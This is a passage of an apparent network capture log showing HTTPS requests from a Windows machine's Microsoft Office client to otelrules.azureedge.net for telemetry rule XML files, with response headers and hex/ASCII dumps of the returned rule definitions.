2024-10-31 16:27:15 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	62931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:16 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:16 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162716Z-16849878b78g2m84h2v9sta29000000008m000000000ubdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	62932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:16 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:16 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 7be90567-f01e-00aa-3367-2a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162716Z-17c5cb586f6p5pndayxh2uxv5400000001ag00000000kahx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	62934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:16 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:16 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162716Z-16849878b78g2m84h2v9sta29000000008s0000000006705 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	62933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:16 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:16 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: d6c962a3-601e-0050-3d78-2a2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162716Z-17c5cb586f659tsm88uwcmn6s4000000024g00000000nzua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	62935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:16 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:16 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e1cf8e51-d01e-00a1-6880-2935b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162716Z-17c5cb586f6f98jx9q4y7udcaw000000016000000000pdfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	62936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:16 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:17 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:17 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ef425c1b-901e-002a-63e7-277a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162717Z-17c5cb586f6z6tq2xr35mhd5x000000002c000000000abmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:17 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	62938	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:17 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:17 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:17 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 07565181-a01e-001e-6ec9-2a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162717Z-159b85dff8fc5h75hC1DFWntr8000000019000000000ac98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:17 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	62937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:17 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:17 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:17 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 93439f28-801e-00ac-63f6-2afd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162717Z-16849878b782d4lwcu6h6gmxnw00000009g0000000007bth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:17 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	62939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:17 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:17 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:17 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: ea4f12d2-001e-0066-30b1-2a561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162717Z-159b85dff8fdjprfhC1DFWuqh000000000gg00000000ds5n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:17 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	62940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:17 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:17 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:17 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 8cc202a4-801e-0067-03db-2afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162717Z-159b85dff8fc5h75hC1DFWntr8000000016g00000000kdc9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:17 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	62941	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:17 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:17 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:17 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162717Z-16849878b78bjkl8dpep89pbgg00000008bg00000000x7hz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:17 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" 